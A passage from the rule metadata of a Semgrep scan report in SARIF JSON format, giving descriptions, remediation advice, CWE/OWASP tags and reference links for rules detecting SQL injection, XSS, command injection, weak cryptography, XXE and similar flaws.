into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path","id":"cpp.lang.security.system-command.command-injection-path.command-injection-path","name":"cpp.lang.security.system-command.command-injection-path.command-injection-path","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.command-injection-path.command-injection-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","id":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","name":"typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-dangerouslysetinnerhtml-url.react-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Validate the token before using it."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","id":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","name":"csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","HIGH CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"help":{"markdown":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/](https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/)\n","text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version","id":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","name":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-ssl-version.insecure-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL)\n","text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","id":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","name":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","id":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","name":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"help":{"markdown":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5","id":"clojure.lang.security.use-of-md5.use-of-md5","name":"clojure.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","id":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","name":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","id":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","name":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pgx-sqli.pgx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","id":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","name":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"help":{"markdown":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","id":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","name":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","id":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","name":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","id":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","name":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"help":{"markdown":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate)\n - [https://www.php.net/manual/en/function.openssl-decrypt.php](https://www.php.net/manual/en/function.openssl-decrypt.php)\n","text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"helpUri":"https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","id":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","name":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","properties":{"precision":"very-high","tags":["CWE-252: Unchecked Return Value","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password","id":"go.secrets.pg.pg-empty-password.pg-empty-password","name":"go.secrets.pg.pg-empty-password.pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-empty-password.pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","id":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","name":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","properties":{"precision":"very-high","tags":["CWE-296: Improper Following of a Certificate's Chain of Trust","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is 